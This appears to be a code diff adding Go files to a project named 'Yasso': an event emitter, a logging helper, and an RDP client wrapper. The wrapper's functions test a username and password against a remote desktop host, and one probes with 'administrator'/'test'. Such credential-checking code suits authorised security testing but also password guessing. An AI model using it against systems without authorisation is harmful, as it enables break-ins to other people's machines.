// in the Emitter's events map. If the reflect Value of the listener does not
|
||||
// have a Kind of Func then RemoveListener panics. If a RecoveryListener has
|
||||
// been set then it is called after recovering from the panic.
|
||||
func (emitter *Emitter) RemoveListener(event, listener interface{}) *Emitter {
|
||||
emitter.Lock()
|
||||
defer emitter.Unlock()
|
||||
|
||||
fn := reflect.ValueOf(listener)
|
||||
|
||||
if reflect.Func != fn.Kind() {
|
||||
if nil == emitter.recoverer {
|
||||
panic(ErrNoneFunction)
|
||||
} else {
|
||||
emitter.recoverer(event, listener, ErrNoneFunction)
|
||||
}
|
||||
}
|
||||
|
||||
if events, ok := emitter.events[event]; ok {
|
||||
newEvents := []reflect.Value{}
|
||||
|
||||
for _, listener := range events {
|
||||
if fn.Pointer() != listener.Pointer() {
|
||||
newEvents = append(newEvents, listener)
|
||||
}
|
||||
}
|
||||
|
||||
emitter.events[event] = newEvents
|
||||
}
|
||||
|
||||
if events, ok := emitter.onces[event]; ok {
|
||||
newEvents := []reflect.Value{}
|
||||
|
||||
for _, listener := range events {
|
||||
if fn.Pointer() != listener.Pointer() {
|
||||
newEvents = append(newEvents, listener)
|
||||
}
|
||||
}
|
||||
|
||||
emitter.onces[event] = newEvents
|
||||
}
|
||||
|
||||
return emitter
|
||||
}
|
||||
|
||||
// Off is an alias for RemoveListener.
|
||||
func (emitter *Emitter) Off(event, listener interface{}) *Emitter {
|
||||
return emitter.RemoveListener(event, listener)
|
||||
}
|
||||
|
||||
// Once generates a new function which invokes the supplied listener
|
||||
// only once before removing itself from the event's listener slice
|
||||
// in the Emitter's events map. If the reflect Value of the listener
|
||||
// does not have a Kind of Func then Once panics. If a RecoveryListener
|
||||
// has been set then it is called after recovering from the panic.
|
||||
func (emitter *Emitter) Once(event, listener interface{}) *Emitter {
|
||||
emitter.Lock()
|
||||
defer emitter.Unlock()
|
||||
|
||||
fn := reflect.ValueOf(listener)
|
||||
|
||||
if reflect.Func != fn.Kind() {
|
||||
if nil == emitter.recoverer {
|
||||
panic(ErrNoneFunction)
|
||||
} else {
|
||||
emitter.recoverer(event, listener, ErrNoneFunction)
|
||||
}
|
||||
}
|
||||
|
||||
if emitter.maxListeners != -1 && emitter.maxListeners < len(emitter.onces[event])+1 {
|
||||
fmt.Fprintf(os.Stdout, "Warning: event `%v` has exceeded the maximum "+
|
||||
"number of listeners of %d.\n", event, emitter.maxListeners)
|
||||
}
|
||||
|
||||
emitter.onces[event] = append(emitter.onces[event], fn)
|
||||
return emitter
|
||||
}
|
||||
|
||||
// Emit attempts to use the reflect package to Call each listener stored
|
||||
// in the Emitter's events map with the supplied arguments. Each listener
|
||||
// is called within its own go routine. The reflect package will panic if
|
||||
// the agruments supplied do not align the parameters of a listener function.
|
||||
// If a RecoveryListener has been set then it is called after recovering from
|
||||
// the panic.
|
||||
func (emitter *Emitter) Emit(event interface{}, arguments ...interface{}) *Emitter {
|
||||
var (
|
||||
listeners []reflect.Value
|
||||
ok bool
|
||||
)
|
||||
|
||||
// Lock the mutex when reading from the Emitter's
|
||||
// events map.
|
||||
emitter.Lock()
|
||||
|
||||
if listeners, ok = emitter.events[event]; !ok {
|
||||
// If the Emitter does not include the event in its
|
||||
// event map, it has no listeners to Call yet.
|
||||
emitter.Unlock()
|
||||
goto ONCES
|
||||
}
|
||||
|
||||
// Unlock the mutex immediately following the read
|
||||
// instead of deferring so that listeners registered
|
||||
// with Once can aquire the mutex for removal.
|
||||
emitter.Unlock()
|
||||
emitter.callListeners(listeners, event, arguments...)
|
||||
|
||||
ONCES:
|
||||
// execute onces
|
||||
emitter.Lock()
|
||||
if listeners, ok = emitter.onces[event]; !ok {
|
||||
emitter.Unlock()
|
||||
return emitter
|
||||
}
|
||||
emitter.Unlock()
|
||||
emitter.callListeners(listeners, event, arguments...)
|
||||
// clear executed listeners
|
||||
emitter.onces[event] = emitter.onces[event][len(listeners):]
|
||||
return emitter
|
||||
}
|
||||
|
||||
func (emitter *Emitter) callListeners(listeners []reflect.Value, event interface{}, arguments ...interface{}) {
|
||||
var wg sync.WaitGroup
|
||||
|
||||
wg.Add(len(listeners))
|
||||
|
||||
for _, fn := range listeners {
|
||||
go func(fn reflect.Value) {
|
||||
defer wg.Done()
|
||||
|
||||
// Recover from potential panics, supplying them to a
|
||||
// RecoveryListener if one has been set, else allowing
|
||||
// the panic to occur.
|
||||
if nil != emitter.recoverer {
|
||||
defer func() {
|
||||
if r := recover(); nil != r {
|
||||
err := fmt.Errorf("%v", r)
|
||||
emitter.recoverer(event, fn.Interface(), err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
var values []reflect.Value
|
||||
|
||||
for i := 0; i < len(arguments); i++ {
|
||||
if arguments[i] == nil {
|
||||
values = append(values, reflect.New(fn.Type().In(i)).Elem())
|
||||
} else {
|
||||
values = append(values, reflect.ValueOf(arguments[i]))
|
||||
}
|
||||
}
|
||||
|
||||
fn.Call(values)
|
||||
}(fn)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
}
|
||||
|
||||
// RecoverWith sets the listener to call when a panic occurs, recovering from
|
||||
// panics and attempting to keep the application from crashing.
|
||||
func (emitter *Emitter) RecoverWith(listener RecoveryListener) *Emitter {
|
||||
emitter.recoverer = listener
|
||||
return emitter
|
||||
}
|
||||
|
||||
// SetMaxListeners sets the maximum number of listeners per
|
||||
// event for the Emitter. If -1 is passed as the maximum,
|
||||
// all events may have unlimited listeners. By default, each
|
||||
// event can have a maximum number of 10 listeners which is
|
||||
// useful for finding memory leaks.
|
||||
func (emitter *Emitter) SetMaxListeners(max int) *Emitter {
|
||||
emitter.Lock()
|
||||
defer emitter.Unlock()
|
||||
|
||||
emitter.maxListeners = max
|
||||
return emitter
|
||||
}
|
||||
|
||||
// GetListenerCount gets count of listeners for a given event.
|
||||
func (emitter *Emitter) GetListenerCount(event interface{}) (count int) {
|
||||
emitter.Lock()
|
||||
if listeners, ok := emitter.events[event]; ok {
|
||||
count = len(listeners)
|
||||
}
|
||||
emitter.Unlock()
|
||||
return
|
||||
}
|
||||
|
||||
// NewEmitter returns a new Emitter object, defaulting the
|
||||
// number of maximum listeners per event to the DefaultMaxListeners
|
||||
// constant and initializing its events map.
|
||||
func NewEmitter() (emitter *Emitter) {
|
||||
emitter = new(Emitter)
|
||||
emitter.Mutex = new(sync.Mutex)
|
||||
emitter.events = make(map[interface{}][]reflect.Value)
|
||||
emitter.maxListeners = DefaultMaxListeners
|
||||
emitter.onces = make(map[interface{}][]reflect.Value)
|
||||
return
|
||||
}
|
||||
107
pkg/grdp/glog/log.go
Normal file
107
pkg/grdp/glog/log.go
Normal file
@@ -0,0 +1,107 @@
|
||||
package glog
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"sync"
|
||||
)
|
||||
|
||||
func init() {
|
||||
|
||||
}
|
||||
|
||||
var (
|
||||
logger *log.Logger
|
||||
level LEVEL
|
||||
mu sync.Mutex
|
||||
)
|
||||
|
||||
type LEVEL int
|
||||
|
||||
const (
|
||||
DEBUG LEVEL = iota
|
||||
INFO
|
||||
WARN
|
||||
ERROR
|
||||
NONE
|
||||
)
|
||||
|
||||
func SetLogger(l *log.Logger) {
|
||||
l.SetFlags(log.Ldate | log.Ltime | log.Lshortfile)
|
||||
logger = l
|
||||
}
|
||||
|
||||
func SetLevel(l LEVEL) {
|
||||
level = l
|
||||
}
|
||||
|
||||
func checkLogger() {
|
||||
if logger == nil && level != NONE {
|
||||
panic("logger not inited")
|
||||
}
|
||||
}
|
||||
|
||||
func Debug(v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= DEBUG {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[DEBUG]")
|
||||
logger.Output(2, fmt.Sprintln(v...))
|
||||
}
|
||||
}
|
||||
func Debugf(f string, v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= DEBUG {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[DEBUG]")
|
||||
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
|
||||
}
|
||||
}
|
||||
func Info(v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= INFO {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[INFO]")
|
||||
logger.Output(2, fmt.Sprintln(v...))
|
||||
}
|
||||
}
|
||||
func Infof(f string, v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= INFO {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[INFO]")
|
||||
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
|
||||
}
|
||||
}
|
||||
func Warn(v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= WARN {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[WARN]")
|
||||
logger.Output(2, fmt.Sprintln(v...))
|
||||
}
|
||||
}
|
||||
|
||||
func Error(v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= ERROR {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[ERROR]")
|
||||
logger.Output(2, fmt.Sprintln(v...))
|
||||
}
|
||||
}
|
||||
func Errorf(f string, v ...interface{}) {
|
||||
checkLogger()
|
||||
if level <= ERROR {
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
logger.SetPrefix("[ERROR]")
|
||||
logger.Output(2, fmt.Sprintln(fmt.Sprintf(f, v...)))
|
||||
}
|
||||
}
|
||||
241
pkg/grdp/grdp.go
Normal file
241
pkg/grdp/grdp.go
Normal file
@@ -0,0 +1,241 @@
|
||||
package grdp
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"log"
|
||||
"net"
|
||||
"os"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"Yasso/pkg/grdp/core"
|
||||
"Yasso/pkg/grdp/glog"
|
||||
"Yasso/pkg/grdp/protocol/nla"
|
||||
"Yasso/pkg/grdp/protocol/pdu"
|
||||
"Yasso/pkg/grdp/protocol/rfb"
|
||||
"Yasso/pkg/grdp/protocol/sec"
|
||||
"Yasso/pkg/grdp/protocol/t125"
|
||||
"Yasso/pkg/grdp/protocol/tpkt"
|
||||
"Yasso/pkg/grdp/protocol/x224"
|
||||
)
|
||||
|
||||
const (
|
||||
PROTOCOL_RDP = "PROTOCOL_RDP"
|
||||
PROTOCOL_SSL = "PROTOCOL_SSL"
|
||||
)
|
||||
|
||||
type Client struct {
|
||||
Host string // ip:port
|
||||
tpkt *tpkt.TPKT
|
||||
x224 *x224.X224
|
||||
mcs *t125.MCSClient
|
||||
sec *sec.Client
|
||||
pdu *pdu.Client
|
||||
vnc *rfb.RFB
|
||||
}
|
||||
|
||||
func NewClient(host string, logLevel glog.LEVEL) *Client {
|
||||
glog.SetLevel(logLevel)
|
||||
logger := log.New(os.Stdout, "", 0)
|
||||
glog.SetLogger(logger)
|
||||
return &Client{
|
||||
Host: host,
|
||||
}
|
||||
}
|
||||
|
||||
func (g *Client) LoginForSSL(domain, user, pwd string) error {
|
||||
conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[dial err] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
|
||||
err = g.x224.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[x224 connect err] %v", err)
|
||||
}
|
||||
glog.Info("wait connect ok")
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
wg.Add(1)
|
||||
|
||||
g.pdu.On("error", func(e error) {
|
||||
err = e
|
||||
glog.Error("error", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("close", func() {
|
||||
err = errors.New("close")
|
||||
glog.Info("on close")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("success", func() {
|
||||
err = nil
|
||||
glog.Info("on success")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("on ready")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("on update:", rectangles)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
wg.Wait()
|
||||
return err
|
||||
}
|
||||
|
||||
func (g *Client) LoginForRDP(domain, user, pwd string) error {
|
||||
conn, err := net.DialTimeout("tcp", g.Host, 3*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("[dial err] %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
glog.Info(conn.LocalAddr().String())
|
||||
|
||||
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
|
||||
g.x224 = x224.New(g.tpkt)
|
||||
g.mcs = t125.NewMCSClient(g.x224)
|
||||
g.sec = sec.NewClient(g.mcs)
|
||||
g.pdu = pdu.NewClient(g.sec)
|
||||
|
||||
g.sec.SetUser(user)
|
||||
g.sec.SetPwd(pwd)
|
||||
g.sec.SetDomain(domain)
|
||||
|
||||
g.tpkt.SetFastPathListener(g.sec)
|
||||
g.sec.SetFastPathListener(g.pdu)
|
||||
g.pdu.SetFastPathSender(g.tpkt)
|
||||
|
||||
g.x224.SetRequestedProtocol(x224.PROTOCOL_RDP)
|
||||
|
||||
err = g.x224.Connect()
|
||||
if err != nil {
|
||||
return fmt.Errorf("[x224 connect err] %v", err)
|
||||
}
|
||||
glog.Info("wait connect ok")
|
||||
wg := &sync.WaitGroup{}
|
||||
breakFlag := false
|
||||
updateCount := 0
|
||||
wg.Add(1)
|
||||
|
||||
g.pdu.On("error", func(e error) {
|
||||
err = e
|
||||
glog.Error("error", e)
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("close", func() {
|
||||
err = errors.New("close")
|
||||
glog.Info("on close")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("success", func() {
|
||||
err = nil
|
||||
glog.Info("on success")
|
||||
g.pdu.Emit("done")
|
||||
})
|
||||
g.pdu.On("ready", func() {
|
||||
glog.Info("on ready")
|
||||
})
|
||||
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
|
||||
glog.Info("on update:", rectangles)
|
||||
updateCount += 1
|
||||
//fmt.Println(updateCount," ",rectangles[0].BitmapLength)
|
||||
})
|
||||
g.pdu.On("done", func() {
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
})
|
||||
|
||||
//wait 2 Second
|
||||
time.Sleep(time.Second * 3)
|
||||
if breakFlag == false {
|
||||
breakFlag = true
|
||||
wg.Done()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
if updateCount > 50 {
|
||||
return nil
|
||||
}
|
||||
err = errors.New("login failed")
|
||||
return err
|
||||
}
|
||||
|
||||
func Login(target, domain, username, password string) error {
|
||||
var err error
|
||||
g := NewClient(target, glog.NONE)
|
||||
//SSL协议登录测试
|
||||
err = g.LoginForSSL(domain, username, password)
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
if err.Error() != PROTOCOL_RDP {
|
||||
return err
|
||||
}
|
||||
//RDP协议登录测试
|
||||
err = g.LoginForRDP(domain, username, password)
|
||||
if err == nil {
|
||||
return nil
|
||||
} else {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
func LoginForSSL(target, domain, username, password string) error {
|
||||
var err error
|
||||
g := NewClient(target, glog.NONE)
|
||||
//SSL协议登录测试
|
||||
err = g.LoginForSSL(domain, username, password)
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func LoginForRDP(target, domain, username, password string) error {
|
||||
var err error
|
||||
g := NewClient(target, glog.NONE)
|
||||
//SSL协议登录测试
|
||||
err = g.LoginForRDP(domain, username, password)
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
return err
|
||||
}
|
||||
|
||||
func VerifyProtocol(target string) string {
|
||||
var err error
|
||||
err = LoginForSSL(target, "", "administrator", "test")
|
||||
if err == nil {
|
||||
return PROTOCOL_SSL
|
||||
}
|
||||
if err.Error() != PROTOCOL_RDP {
|
||||
return PROTOCOL_SSL
|
||||
}
|
||||
return PROTOCOL_RDP
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user